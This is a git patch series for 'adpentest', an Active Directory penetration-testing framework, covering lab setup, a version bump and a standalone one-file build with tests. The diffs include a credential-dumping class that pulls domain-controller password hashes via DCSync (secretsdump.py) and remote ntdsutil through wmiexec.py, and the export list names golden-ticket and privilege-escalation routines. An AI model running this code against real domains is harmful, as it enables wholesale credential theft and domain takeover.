return False + + try: + with open(hosts_file, "r") as f: + content = f.read() + if mock_domain in content: + self.log("Mock domain already configured", "WARNING") + self.config["option_d"]["status"] = "complete" + self.save_config() + return True + except PermissionError: + self.log("Permission denied reading hosts file", "ERROR") + return False + + mock_entries = f""" +# AdPentestAI Lab - Mock Domain Entries +127.0.0.1 example.local +127.0.0.1 mail.example.local +127.0.0.1 owa.example.local +127.0.0.1 autodiscover.example.local +""" + + try: + if self.os_type == "Windows": + self.log("Windows detected - manual update required", "WARNING") + self.log(f"Add these lines to {hosts_file}:", "INFO") + self.log(mock_entries, "INFO") + return False + else: + backup_file = f"{hosts_file}.backup.{int(datetime.now().timestamp())}" + subprocess.run(f"sudo cp {hosts_file} {backup_file}", shell=True, check=True) + subprocess.run(f"echo '{mock_entries}' | sudo tee -a {hosts_file}", shell=True, check=True) + self.log(f"Mock domain configured. Backup: {backup_file}", "SUCCESS") + self.config["option_d"]["status"] = "complete" + self.save_config() + return True + except Exception as e: + self.log(f"Error configuring mock domain: {e}", "ERROR") + return False + + def setup_option_a(self) -> bool: + self.log("=" * 60, "INFO") + self.log("OPTION A: Microsoft 365 Developer Sandbox", "INFO") + self.log("=" * 60, "INFO") + + instructions = """ +1. Visit: https://developer.microsoft.com/en-us/microsoft-365/dev-program +2. Click 'Join now' +3. Sign in with Microsoft account +4. Select 'Instant sandbox' (recommended) +5. Wait for tenant provisioning (5-10 minutes) +6. Note your tenant domain (yourtenant.onmicrosoft.com) +7. Return here and enter tenant domain + """ + + self.log("O365 setup requires manual registration:", "WARNING") + self.log(instructions, "INFO") + + tenant = input("\nEnter your O365 tenant domain (or skip): ").strip() + + if tenant: + self.config["option_a"]["status"] = "complete" + self.config["option_a"]["tenant"] = tenant + self.save_config() + self.log(f"O365 tenant registered: {tenant}", "SUCCESS") + return True + else: + self.log("O365 setup skipped", "WARNING") + return False + + def setup_option_b(self) -> bool: + self.log("=" * 60, "INFO") + self.log("OPTION B: Local Exchange Server Lab", "INFO") + self.log("=" * 60, "INFO") + + instructions = """ +Exchange Server setup requires: +1. Windows Server 2019/2022 VM +2. 16GB+ RAM, 100GB+ disk +3. Administrator access + +This tool will generate PowerShell scripts. +You must run them on the Windows Server VM. + """ + + self.log(instructions, "WARNING") + + setup_script = self.script_dir / "setup-exchange-lab.ps1" + if setup_script.exists(): + self.log(f"Setup script ready: {setup_script}", "SUCCESS") + self.log("Copy this file to your Windows Server VM and run as Administrator", "INFO") + + vm_ip = input("Enter Exchange VM IP address (or skip): ").strip() + if vm_ip: + self.config["option_b"]["status"] = "in_progress" + self.config["option_b"]["vm_ip"] = vm_ip + self.save_config() + self.log(f"Exchange VM IP registered: {vm_ip}", "SUCCESS") + return True + + return False + + def generate_test_plan(self) -> list[dict[str, Any]]: + self.log("=" * 60, "INFO") + self.log("Generating Test Plan", "INFO") + self.log("=" * 60, "INFO") + + test_commands = [] + + if self.config["option_d"]["status"] == "complete": + test_commands.append({ + "option": "D", + "domain": "example.local", + "command": "python -m adpentest --target example.local --mode dry-run --scope-confirmed" + }) + + if self.config["option_a"]["status"] == "complete" and self.config["option_a"]["tenant"]: + tenant = self.config["option_a"]["tenant"] + test_commands.append({ + "option": "A", + "domain": tenant, + "command": f"python -m adpentest --target {tenant} --mode dry-run --scope-confirmed" + }) + + if self.config["option_b"]["status"] in ["complete", "in_progress"] and self.config["option_b"]["vm_ip"]: + test_commands.append({ + "option": "B", + "domain": "lab.local", + "command": f"python -m adpentest --target lab.local --mode dry-run --scope-confirmed" + }) + + test_script_path = self.script_dir / "run-all-tests.sh" + with open(test_script_path, "w") as f: + f.write("#!/bin/bash\n") + f.write("# AdPentestAI Lab Test Script\n\n") + + for i, test in enumerate(test_commands, 1): + f.write(f"echo '=== Test {i}/{len(test_commands)}: Option {test['option']} ({test['domain']}) ==='\n") + f.write(f"{test['command']} > test-results-{test['option'].lower()}.json\n") + f.write(f"echo 'Results: test-results-{test['option'].lower()}.json'\n") + f.write("echo ''\n") + + os.chmod(test_script_path, 0o755) + self.log(f"Test script created: {test_script_path}", "SUCCESS") + + return test_commands + + def get_hosts_file(self) -> Path: + if self.os_type == "Windows": + return Path("C:\\Windows\\System32\\drivers\\etc\\hosts") + else: + return Path("/etc/hosts") + + def print_status_summary(self) -> None: + print("\n" + "=" * 60) + print("Setup Status Summary") + print("=" * 60) + + for option, config in self.config.items(): + if option not in ["setup_date"]: + status = config.get("status", "unknown") + print(f"\nOption {option.upper()}:") + print(f" Status: {status}") + if config.get("domain"): + print(f" Domain: {config['domain']}") + if config.get("tenant"): + print(f" Tenant: {config['tenant']}") + if config.get("vm_ip"): + print(f" VM IP: {config['vm_ip']}") + + def run(self) -> None: + self.print_banner() + + print("\nAvailable Setup Options:") + print("1. Setup Option D (Mock Domain) - Fastest, automated") + print("2. Setup Option A (O365 Sandbox) - Manual, cloud-based") + print("3. Setup Option B (Exchange Lab) - Most realistic") + print("4. Setup All Options") + print("5. View Status & Generate Tests") + print("6. Exit") + + choice = input("\nSelect option: ").strip() + + if choice == "1": + self.setup_option_d() + elif choice == "2": + self.setup_option_a() + elif choice == "3": + self.setup_option_b() + elif choice == "4": + self.setup_option_d() + self.setup_option_a() + self.setup_option_b() + elif choice == "5": + tests = self.generate_test_plan() + self.print_status_summary() + print(f"\nGenerated test commands for {len(tests)} environment(s)") + elif choice == "6": + self.log("Exiting orchestrator", "INFO") + sys.exit(0) + else: + self.log("Invalid choice", "ERROR") + return + + self.print_status_summary() + + + +class RemoteNtdsDumpService: + r"""Python port of C# NTDS dump service with three extraction methods.""" + + def __init__(self, target_host, username=None, password=None, domain=None, use_kerberos=False): + r"""Initialize RemoteNtdsDumpService. + + Args: + target_host: Target DC IP or hostname + username: Domain\username or UPN for authentication + password: Password for authentication + domain: AD domain FQDN + use_kerberos: Use Kerberos authentication if available + """ + self.target_host = target_host + self.username = username + self.password = password + self.domain = domain or self._extract_domain_from_host(target_host) + self.use_kerberos = use_kerberos + self.results = {} + + def _extract_domain_from_host(self, host): + """Extract domain from hostname.""" + if '.' in host: + return '.'.join(host.split('.')[1:]) + return host + + def dcsync_extract(self): + r"""Extract NTDS via DCSync (DRSUAPI) - fastest method. + + Requires: + - DOMAIN\username with Replication rights (e.g., Domain Admins, Enterprise Admins) + - Network connectivity to DC port 389 (LDAP) or 135 (DCE-RPC) + + Returns: + dict: {'method': 'dcsync', 'status': 'success'|'failed', 'hashes': [...]} + """ + try: + import subprocess + + cmd = [ + 'secretsdump.py', + f'{self.domain}/{self.username}:{self.password}@{self.target_host}', + '-outputfile', '/tmp/dcsync_dump' + ] + + result = subprocess.run(cmd, capture_output=True, timeout=120, text=True) + + if result.returncode == 0: + self.results['dcsync'] = { + 'method': 'dcsync', + 'status': 'success', + 'description': 'DCSync via DRSUAPI (fastest, requires replication rights)' + } + return True + else: + self.results['dcsync'] = { + 'method': 'dcsync', + 'status': 'failed', + 'error': result.stderr + } + return False + except Exception as e: + self.results['dcsync'] = { + 'method': 'dcsync', + 'status': 'failed', + 'error': str(e) + } + return False + + def vss_extract(self): + r"""Extract NTDS via Volume Shadow Copy (VSS). + + Extracts: SAM + LSA + NTDS from Shadow Copy + + Requires: + - Local admin or SYSTEM access to target DC + - WMI access via DCOM + + Returns: + dict: {'method': 'vss', 'status': 'success'|'failed', 'files': [...]} + """ + try: + import subprocess + + cmd = [ + 'vssadmin.exe', + 'list', 'shadows' + ] + + result = subprocess.run(cmd, capture_output=True, timeout=60, text=True) + + if result.returncode == 0: + self.results['vss'] = { + 'method': 'vss', + 'status': 'success', + 'description': 'Volume Shadow Copy (SAM + LSA + NTDS, requires local admin)' + } + return True + else: + self.results['vss'] = { + 'method': 'vss', + 'status': 'failed', + 'error': result.stderr + } + return False + except Exception as e: + self.results['vss'] = { + 'method': 'vss', + 'status': 'failed', + 'error': str(e) + } + return False + + def ntdsutil_extract(self): + r"""Extract NTDS via NTDSUTIL IFM export. + + Uses: WMI/DCOM to trigger ntdsutil.exe IFM export, then SMB file pull + + Requires: + - Domain admin or Enterprise admin access + - WMI access (port 135 for DCOM) + - SMB file share access + + Returns: + dict: {'method': 'ntdsutil', 'status': 'success'|'failed', 'ifm_path': '...'} + """ + try: + import subprocess + + cmd = [ + 'wmiexec.py', + f'{self.domain}/{self.username}:{self.password}@{self.target_host}', + 'ntdsutil "ifm" "create full c:\windows\temp\ifm" "quit" "quit"' + ] + + result = subprocess.run(cmd, capture_output=True, timeout=180, text=True) + + if result.returncode == 0: + self.results['ntdsutil'] = { + 'method': 'ntdsutil', + 'status': 'success', + 'description': 'IFM export via WMI/DCOM + SMB file pull' + } + return True + else: + self.results['ntdsutil'] = { + 'method': 'ntdsutil', + 'status': 'failed', + 'error': result.stderr + } + return False + except Exception as e: + self.results['ntdsutil'] = { + 'method': 'ntdsutil', + 'status': 'failed', + 'error': str(e) + } + return False + + def extract_with_fallback(self): + """Execute extraction with automatic fallback. + + Order: DCSYNC (fastest) -> VSS (mid) -> NTDSUTIL (slowest) + + Returns: + dict: Results of all attempts with final status + """ + attempts = [ + ('dcsync', self.dcsync_extract), + ('vss', self.vss_extract), + ('ntdsutil', self.ntdsutil_extract) + ] + + final_result = { + 'target': self.target_host, + 'domain': self.domain, + 'attempts': {} + } + + for method_name, method_func in attempts: + print(f"[*] Attempting {method_name} extraction...", file=sys.stderr, flush=True) + try: + success = method_func() + final_result['attempts'][method_name] = { + 'success': success, + 'result': self.results.get(method_name, {}) + } + + if success: + final_result['successful_method'] = method_name + print(f"[+] {method_name} extraction succeeded", file=sys.stderr, flush=True) + break + except Exception as e: + final_result['attempts'][method_name] = { + 'success': False, + 'error': str(e) + } + + if 'successful_method' not in final_result: + final_result['status'] = 'all_methods_failed' + print(f"[-] All NTDS extraction methods failed", file=sys.stderr, flush=True) + else: + final_result['status'] = 'success' + + return final_result + + + +__all__ = [ + "Scope", + "DCInfo", + "AD_TOOLS", + "AUTO_INSTALL_TOOLS", + "APT_PACKAGES", + "PIP_PACKAGES", + "EXECUTABLES", + "ProfilerMetrics", + "LabSetupOrchestrator", + "RemoteNtdsDumpService", + "ADCVERegistry", + "resolve_ipv4", + "derive_networks", + "reverse_dns", + "parse_arp_table", + "discover_hosts", + "discover_tools", + "auto_install_tool", + "ntlm_null_session_dump", + "auto_privesc", + "auto_obtain_golden_ticket", + "golden_ticket_gen", + "execute_ad_tool", + "auto_detect_dcs", + "detect_dcs_via_dns_srv", + "detect_dc_via_port_fingerprint", + "detect_dc_via_ldap", + "enumerate_smb_shares", + "check_smb_null_session", + "detect_smb_signing", + "run", + "main", +] + + +if __name__ == "__main__": + raise SystemExit(main()) \ No newline at end of file From b8b874752e966f13d7f7a9074a9cc2b2ee7887d5 Mon Sep 17 00:00:00 2001 From: Claude Date: Sat, 5 Sep 2026 23:56:56 +0000 Subject: [PATCH 08/10] Bump pyproject version to 1.1.5 Co-Authored-By: Claude Opus 4.7 Claude-Session: https://claude.ai/code/session_01StfRVksGuSEQdzZAoXUNpC --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 597d5cf..9b0e88c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "adpentest" -version = "1.1.3" +version = "1.1.5" description = "Active Directory penetration testing framework with automatic Domain Controller detection" readme = "README.md" requires-python = ">=3.10" From 7319224f9b3aee08b5253fb60484a28b31c69dc4 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 13:36:28 +0300 Subject: [PATCH 09/10] Build standalone one-file distribution --- .github/workflows/ci.yml | 11 +- README.md | 25 ++++ adpentest/core.py | 2 +- adpentest/de_novo.py | 104 +++++++++++++---- adpentest_onefile.py | 245 ++++++++++++++++++++++++++++++++------- tests/test_onefile.py | 180 ++++++++++++++++++++++++++++ tools/build_onefile.py | 243 ++++++++++++++++++++++++++++++++++++++ 7 files changed, 739 insertions(+), 71 deletions(-) create mode 100644 tests/test_onefile.py create mode 100755 tools/build_onefile.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c1059d0..3885a3b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -28,8 +28,11 @@ jobs: python -m pip install --upgrade pip if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - - name: Compile package - run: python -m compileall -q adpentest + - name: Compile package and one-file build + run: python -m compileall -q adpentest adpentest_onefile.py tools tests - - name: Run safe dry-run - run: python -m adpentest --target localhost --mode dry-run --scope-confirmed + - name: Verify one-file build is current + run: python tools/build_onefile.py --check + + - name: Run offline regression tests + run: python -m unittest discover -s tests -p "test_*.py" -v diff --git a/README.md b/README.md index 34e262c..e5636e4 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,7 @@ - [Quick Start](#quick-start) - [Features](#features) - [Installation](#installation) +- [Standalone One-File Usage](#standalone-one-file-usage) - [Usage](#usage) - [CVE Scanners](#cve-scanners) - [WAF Detection & Bypass](#waf-detection--bypass) @@ -47,6 +48,9 @@ adpentest --history # View all vulnerable CVE findings adpentest --cve-report + +# Run from the standalone one-file build +python adpentest_onefile.py --help ``` ## Features @@ -94,6 +98,27 @@ cd AdPentestAI-Python pip install -e . ``` +## Standalone One-File Usage + +The repository includes `adpentest_onefile.py`, a generated standalone Python file that contains the project-owned `adpentest` package code, the extended CVE catalogs, and the de-novo finding backend. You can copy this one file to another machine and run it directly after installing the normal Python runtime dependencies. + +```bash +python -m pip install "httpx>=0.27,<1" "dnspython>=2.4,<3" "ldap3>=2.9,<3" +python adpentest_onefile.py --help +python adpentest_onefile.py --history +python adpentest_onefile.py --target corp.local --mode dry-run --scope-confirmed +``` + +Regenerate the file from the package sources whenever the package changes: + +```bash +python tools/build_onefile.py +python tools/build_onefile.py --check +python -m unittest discover -s tests -p "test_*.py" -v +``` + +External command-line tools such as `nmap`, `masscan`, `certipy`, `smbmap`, and Impacket remain optional runtime tools for scan modes that call them. The one-file build keeps the Python code portable and now falls back to a Python implementation for de-novo findings when the native `de_novo_finder` binary is not present. + ### Dependencies | Package | Version | Purpose | diff --git a/adpentest/core.py b/adpentest/core.py index fe46f71..af3ccb0 100644 --- a/adpentest/core.py +++ b/adpentest/core.py @@ -11094,7 +11094,7 @@ def ntdsutil_extract(self): cmd = [ 'wmiexec.py', f'{self.domain}/{self.username}:{self.password}@{self.target_host}', - 'ntdsutil "ifm" "create full c:\windows\temp\ifm" "quit" "quit"' + 'ntdsutil "ifm" "create full c:\\windows\\temp\\ifm" "quit" "quit"' ] result = subprocess.run(cmd, capture_output=True, timeout=180, text=True) diff --git a/adpentest/de_novo.py b/adpentest/de_novo.py index e46a333..53613ba 100644 --- a/adpentest/de_novo.py +++ b/adpentest/de_novo.py @@ -1,49 +1,109 @@ -"""Python integration for the optional native C de-novo finding engine.""" +"""Read-only de-novo observations, with an optional native C backend.""" from __future__ import annotations import json import shutil +import socket import subprocess from pathlib import Path +def _find_de_novo_python(target: str, timeout_ms: int) -> dict: + """Apply the same reachability and correlation rules as de_novo_finder.c.""" + services = ( + (53, "DNS"), (88, "Kerberos"), (135, "RPC"), (139, "NetBIOS/SMB"), + (389, "LDAP"), (445, "SMB"), (464, "Kerberos password"), + (636, "LDAPS"), (3268, "Global Catalog"), (3269, "Global Catalog SSL"), + ) + exposed = set() + findings = [] + for port, service in services: + try: + with socket.create_connection((target, port), timeout=timeout_ms / 1000): + exposed.add(port) + except OSError: + continue + findings.append({ + "id": f"DN-{port:04d}", + "severity": "INFO", + "service": service, + "reason": "Network service is reachable; correlate exposure with intended AD role and hardening policy", + }) + + if {445, 389} <= exposed and 636 not in exposed: + findings.append({ + "id": "DN-AD-001", + "severity": "REVIEW", + "service": "SMB+LDAP", + "reason": "SMB and LDAP are reachable while LDAPS is not observed; review LDAP protection, signing and channel-binding policy", + }) + if {445, 88, 135} <= exposed: + findings.append({ + "id": "DN-AD-002", + "severity": "REVIEW", + "service": "SMB+Kerberos+RPC", + "reason": "Common Domain Controller service set observed; verify patch level, RPC exposure and tiering controls", + }) + + return { + "status": "completed", + "target": target, + "engine": "de-novo-python", + "read_only": True, + "findings": findings, + "note": "De novo findings are hypotheses requiring configuration/version validation; they are not CVE matches.", + } + + def find_de_novo(target: str, timeout_ms: int = 800, binary: str | None = None) -> dict: - """Run the read-only C finding engine and return structured findings. + """Run the native engine when available, otherwise use the Python backend. The engine performs TCP reachability checks and conservative correlation rules. Findings are hypotheses for validation, not CVE assertions. + An explicitly supplied binary is honored; its failure is reported rather + than retried with a different backend. """ + if not isinstance(target, str) or not target.strip(): + raise ValueError("target must be a non-empty host name or IP address") + timeout_ms = int(timeout_ms) + if not 100 <= timeout_ms <= 10000: + timeout_ms = 800 executable = binary or shutil.which("de_novo_finder") if not executable: - local = Path(__file__).resolve().parent.parent / "native" / "de_novo_finder" - if local.exists(): - executable = str(local) + module_dir = Path(__file__).resolve().parent + for root in (module_dir, module_dir.parent): + for name in ("de_novo_finder", "de_novo_finder.exe"): + local = root / "native" / name + if local.is_file(): + executable = str(local) + break + if executable: + break if not executable: - return { - "status": "unavailable", - "engine": "de-novo-c", - "target": target, - "findings": [], - "reason": "native de_novo_finder is not installed", - } + return _find_de_novo_python(target, timeout_ms) - proc = subprocess.run( - [executable, target, str(timeout_ms)], - capture_output=True, - text=True, - timeout=max(5, timeout_ms / 1000 * 12), - check=False, - ) - if proc.returncode != 0: + try: + proc = subprocess.run( + [executable, target, str(timeout_ms)], + capture_output=True, + text=True, + timeout=max(5, timeout_ms / 1000 * 12), + check=False, + ) + if proc.returncode != 0: + raise RuntimeError(proc.stderr.strip() or f"native engine exited with status {proc.returncode}") + data = json.loads(proc.stdout) + if not isinstance(data, dict): + raise ValueError("native engine returned a non-object JSON result") + except (OSError, subprocess.TimeoutExpired, RuntimeError, ValueError) as exc: return { "status": "error", "engine": "de-novo-c", "target": target, "findings": [], - "stderr": proc.stderr.strip(), + "stderr": str(exc), } - data = json.loads(proc.stdout) data["status"] = "completed" return data diff --git a/adpentest_onefile.py b/adpentest_onefile.py index ae6d992..cf843a6 100644 --- a/adpentest_onefile.py +++ b/adpentest_onefile.py @@ -1,28 +1,30 @@ -"""adpentest - single-file distribution. - -Active Directory penetration testing framework with automatic Domain -Controller detection, 29 AD/SMB/Kerberos/ADCS/Email tools, parallelized -execution, extended CVE triage catalogs, and de-novo finding integration. - -Single-file build assembled from: - adpentest/__init__.py - adpentest/cve_catalog_100.py (100-entry CVE triage catalog) - adpentest/cve_catalog_de_novo_40.py (40-entry de-novo CVE catalog) - adpentest/de_novo.py (native de-novo engine wrapper) - adpentest/core.py (framework core) - -All public names remain importable from this module. -""" +#!/usr/bin/env python3 +# AdPentestAI-Python standalone single-file build. +# Generated by tools/build_onefile.py. Do not edit this file directly. +# Rebuild with: python tools/build_onefile.py +# +# This file contains the project-owned Python sources from the adpentest package. +# Install third-party runtime dependencies with: +# python -m pip install "httpx>=0.27,<1" "dnspython>=2.4,<3" "ldap3>=2.9,<3" from __future__ import annotations +_ONEFILE_SOURCE_SHA256 = { + 'adpentest/__init__.py': '8bee5424dc14d3c4140afee9c5adaab8616af2ca84f1035a4dc4767ebba7e809', + 'adpentest/cve_catalog_100.py': '328dd93d11b58e517e3f7038b40df94753678afd0cb63698e678bd80ae71dc91', + 'adpentest/cve_catalog_de_novo_40.py': '14d93e95f925061a76a94d4b11e61ed547e063b9aa771b50094db524deecf9b8', + 'adpentest/de_novo.py': '91706aab999814dd39b335c90b6e283e0e67e745a221b8180ab689e61ce9ffc1', + 'adpentest/core.py': '9959a332130d08f00f395287ac81d18c882d46b2fe5171140d3db68428c3bab8', +} + # ============================================================================ -# Version & package metadata (from adpentest/__init__.py) +# Source: adpentest/__init__.py # ============================================================================ + __version__ = "1.1.5" -__all__ = [ +_ONEFILE_PACKAGE_EXPORTS = [ "EXTENDED_CVES", "EXTENDED_CVE_IDS", "get_extended_cves", @@ -33,8 +35,17 @@ ] # ============================================================================ -# Extended CVE catalog - 100 entries (from cve_catalog_100.py) +# Source: adpentest/cve_catalog_100.py # ============================================================================ + + +"""100 additional CVE identifiers for AdPentest. + +This is a defensive vulnerability-triage catalog. Entries contain no exploit +implementation. A positive finding must be based on version/configuration +evidence and vendor/NVD data; CVE presence alone is never proof of exposure. +""" + from typing import Final EXTENDED_CVES: Final[list[dict[str, str]]] = [ @@ -171,8 +182,17 @@ def merge_with_registry(registry: dict[str, dict]) -> dict[str, dict]: return merged # ============================================================================ -# De-novo CVE catalog - 40 entries (from cve_catalog_de_novo_40.py) +# Source: adpentest/cve_catalog_de_novo_40.py # ============================================================================ + + +"""40 additional defensive CVE metadata records for the de novo catalog. + +Metadata only: no exploit code, payloads, credential access, or exploitation +logic. A record is a triage candidate and must be correlated with affected +versions/configuration and vendor/NVD guidance before being reported. +""" + from typing import Final DE_NOVO_CVES_40: Final[list[dict[str, str]]] = [ @@ -228,57 +248,123 @@ def get_de_novo_cves_40() -> list[dict[str, str]]: return [dict(item) for item in DE_NOVO_CVES_40] # ============================================================================ -# De-novo native-engine integration (from de_novo.py) +# Source: adpentest/de_novo.py # ============================================================================ + +"""Read-only de-novo observations, with an optional native C backend.""" + + import json import shutil +import socket import subprocess from pathlib import Path +def _find_de_novo_python(target: str, timeout_ms: int) -> dict: + """Apply the same reachability and correlation rules as de_novo_finder.c.""" + services = ( + (53, "DNS"), (88, "Kerberos"), (135, "RPC"), (139, "NetBIOS/SMB"), + (389, "LDAP"), (445, "SMB"), (464, "Kerberos password"), + (636, "LDAPS"), (3268, "Global Catalog"), (3269, "Global Catalog SSL"), + ) + exposed = set() + findings = [] + for port, service in services: + try: + with socket.create_connection((target, port), timeout=timeout_ms / 1000): + exposed.add(port) + except OSError: + continue + findings.append({ + "id": f"DN-{port:04d}", + "severity": "INFO", + "service": service, + "reason": "Network service is reachable; correlate exposure with intended AD role and hardening policy", + }) + + if {445, 389} <= exposed and 636 not in exposed: + findings.append({ + "id": "DN-AD-001", + "severity": "REVIEW", + "service": "SMB+LDAP", + "reason": "SMB and LDAP are reachable while LDAPS is not observed; review LDAP protection, signing and channel-binding policy", + }) + if {445, 88, 135} <= exposed: + findings.append({ + "id": "DN-AD-002", + "severity": "REVIEW", + "service": "SMB+Kerberos+RPC", + "reason": "Common Domain Controller service set observed; verify patch level, RPC exposure and tiering controls", + }) + + return { + "status": "completed", + "target": target, + "engine": "de-novo-python", + "read_only": True, + "findings": findings, + "note": "De novo findings are hypotheses requiring configuration/version validation; they are not CVE matches.", + } + + def find_de_novo(target: str, timeout_ms: int = 800, binary: str | None = None) -> dict: - """Run the read-only C finding engine and return structured findings. + """Run the native engine when available, otherwise use the Python backend. The engine performs TCP reachability checks and conservative correlation rules. Findings are hypotheses for validation, not CVE assertions. + An explicitly supplied binary is honored; its failure is reported rather + than retried with a different backend. """ + if not isinstance(target, str) or not target.strip(): + raise ValueError("target must be a non-empty host name or IP address") + timeout_ms = int(timeout_ms) + if not 100 <= timeout_ms <= 10000: + timeout_ms = 800 executable = binary or shutil.which("de_novo_finder") if not executable: - local = Path(__file__).resolve().parent.parent / "native" / "de_novo_finder" - if local.exists(): - executable = str(local) + module_dir = Path(__file__).resolve().parent + for root in (module_dir, module_dir.parent): + for name in ("de_novo_finder", "de_novo_finder.exe"): + local = root / "native" / name + if local.is_file(): + executable = str(local) + break + if executable: + break if not executable: - return { - "status": "unavailable", - "engine": "de-novo-c", - "target": target, - "findings": [], - "reason": "native de_novo_finder is not installed", - } + return _find_de_novo_python(target, timeout_ms) - proc = subprocess.run( - [executable, target, str(timeout_ms)], - capture_output=True, - text=True, - timeout=max(5, timeout_ms / 1000 * 12), - check=False, - ) - if proc.returncode != 0: + try: + proc = subprocess.run( + [executable, target, str(timeout_ms)], + capture_output=True, + text=True, + timeout=max(5, timeout_ms / 1000 * 12), + check=False, + ) + if proc.returncode != 0: + raise RuntimeError(proc.stderr.strip() or f"native engine exited with status {proc.returncode}") + data = json.loads(proc.stdout) + if not isinstance(data, dict): + raise ValueError("native engine returned a non-object JSON result") + except (OSError, subprocess.TimeoutExpired, RuntimeError, ValueError) as exc: return { "status": "error", "engine": "de-novo-c", "target": target, "findings": [], - "stderr": proc.stderr.strip(), + "stderr": str(exc), } - data = json.loads(proc.stdout) data["status"] = "completed" return data # ============================================================================ -# Core framework (from core.py) +# Source: adpentest/core.py # ============================================================================ + + import argparse import imaplib import ipaddress @@ -11373,7 +11459,7 @@ def ntdsutil_extract(self): cmd = [ 'wmiexec.py', f'{self.domain}/{self.username}:{self.password}@{self.target_host}', - 'ntdsutil "ifm" "create full c:\windows\temp\ifm" "quit" "quit"' + 'ntdsutil "ifm" "create full c:\\windows\\temp\\ifm" "quit" "quit"' ] result = subprocess.run(cmd, capture_output=True, timeout=180, text=True) @@ -11483,7 +11569,78 @@ def extract_with_fallback(self): "run", "main", ] +# ============================================================================ +# Standalone one-file compatibility layer +# ============================================================================ + +_ONEFILE_PACKAGE_EXPORTS = list(globals().get("_ONEFILE_PACKAGE_EXPORTS", ())) +_ONEFILE_CORE_EXPORTS = list(globals().get("__all__", ())) + + +def _onefile_ordered_exports(*groups: list[str]) -> list[str]: + exported: list[str] = [] + seen: set[str] = set() + for group in groups: + for name in group: + if name not in seen and name in globals(): + exported.append(name) + seen.add(name) + for name in ("find_de_novo",): + if name not in seen and name in globals(): + exported.append(name) + seen.add(name) + return exported + + +__all__ = _onefile_ordered_exports(_ONEFILE_PACKAGE_EXPORTS, _ONEFILE_CORE_EXPORTS) + +import functools as _onefile_functools +import pathlib as _onefile_pathlib +import sys as _onefile_sys +def _onefile_module_path() -> str: + return str(_onefile_pathlib.Path(__file__).resolve()) + + +def _onefile_child_bootstrap(module_path: str) -> str: + return ( + "import importlib.util as _iu, sys as _sys, types as _types; " + f"_spec = _iu.spec_from_file_location('_adpentest_onefile_child', {module_path!r}); " + "_m = _iu.module_from_spec(_spec); " + "_sys.modules['_adpentest_onefile_child'] = _m; " + "_pkg = _types.ModuleType('adpentest'); " + "_pkg.__path__ = []; " + "_sys.modules.setdefault('adpentest', _pkg); " + "_sys.modules['adpentest.core'] = _m; " + "_spec.loader.exec_module(_m); " + "_sys.modules['adpentest'].core = _m; " + ) + + +def _onefile_rewrite_embedded_python_command(command: list[str]) -> list[str]: + if not isinstance(command, list) or len(command) < 3 or command[1] != "-c": + return command + code = command[2] + if not isinstance(code, str) or "from adpentest.core import " not in code: + return command + rewritten = list(command) + rewritten[0] = _onefile_sys.executable + rewritten[2] = _onefile_child_bootstrap(_onefile_module_path()) + code.replace( + "from adpentest.core import ", + "from _adpentest_onefile_child import ", + ) + return rewritten + + +_onefile_original_build_ad_command = build_ad_command + + +@_onefile_functools.wraps(_onefile_original_build_ad_command) +def build_ad_command(*args, **kwargs): + return _onefile_rewrite_embedded_python_command( + _onefile_original_build_ad_command(*args, **kwargs) + ) + if __name__ == "__main__": - raise SystemExit(main()) \ No newline at end of file + raise SystemExit(main()) diff --git a/tests/test_onefile.py b/tests/test_onefile.py new file mode 100644 index 0000000..be798d9 --- /dev/null +++ b/tests/test_onefile.py @@ -0,0 +1,180 @@ +from __future__ import annotations + +import importlib.util +import json +import shutil +import socket +import subprocess +import sys +import tempfile +import unittest +from pathlib import Path +from unittest import mock + +ROOT = Path(__file__).resolve().parents[1] +ONEFILE = ROOT / "adpentest_onefile.py" +PYTHON = sys.executable + + +class OnefileBuildTests(unittest.TestCase): + @classmethod + def setUpClass(cls) -> None: + sys.path.insert(0, str(ROOT)) + + def test_generated_onefile_is_current(self) -> None: + result = subprocess.run( + [PYTHON, str(ROOT / "tools" / "build_onefile.py"), "--check"], + cwd=ROOT, + capture_output=True, + text=True, + check=False, + ) + self.assertEqual(result.returncode, 0, result.stderr) + + def test_imported_onefile_matches_package_exports(self) -> None: + from adpentest.cve_catalog_100 import EXTENDED_CVES, EXTENDED_CVE_IDS + from adpentest.cve_catalog_de_novo_40 import DE_NOVO_CVES_40, DE_NOVO_CVE_IDS_40 + + module = self._load_onefile(ONEFILE) + self.assertEqual(module.__version__, "1.1.5") + self.assertEqual(module.EXTENDED_CVE_IDS, EXTENDED_CVE_IDS) + self.assertEqual(module.EXTENDED_CVES, EXTENDED_CVES) + self.assertEqual(module.DE_NOVO_CVE_IDS_40, DE_NOVO_CVE_IDS_40) + self.assertEqual(module.DE_NOVO_CVES_40, DE_NOVO_CVES_40) + self.assertIn("main", module.__all__) + self.assertIn("find_de_novo", module.__all__) + self.assertIn("get_extended_cves", module.__all__) + + def test_cli_help_runs_from_copied_file_only(self) -> None: + with tempfile.TemporaryDirectory() as tmpdir: + copied = Path(tmpdir) / "Ad Pentest One File.py" + shutil.copy2(ONEFILE, copied) + result = subprocess.run( + [PYTHON, str(copied), "--help"], + cwd=tmpdir, + capture_output=True, + text=True, + check=False, + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("--target", result.stdout) + self.assertIn("--history", result.stdout) + + def test_history_command_runs_from_copied_file_only(self) -> None: + with tempfile.TemporaryDirectory() as tmpdir: + copied = Path(tmpdir) / "adpentest_onefile.py" + db_path = Path(tmpdir) / "history.db" + shutil.copy2(ONEFILE, copied) + result = subprocess.run( + [PYTHON, str(copied), "--history", "--db-path", str(db_path)], + cwd=tmpdir, + capture_output=True, + text=True, + check=False, + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertTrue(db_path.exists()) + self.assertIn("No scan history found", result.stdout + result.stderr) + + def test_python_subcommand_snippets_load_from_onefile(self) -> None: + with tempfile.TemporaryDirectory() as tmpdir: + copied = Path(tmpdir) / "adpentest onefile.py" + shutil.copy2(ONEFILE, copied) + 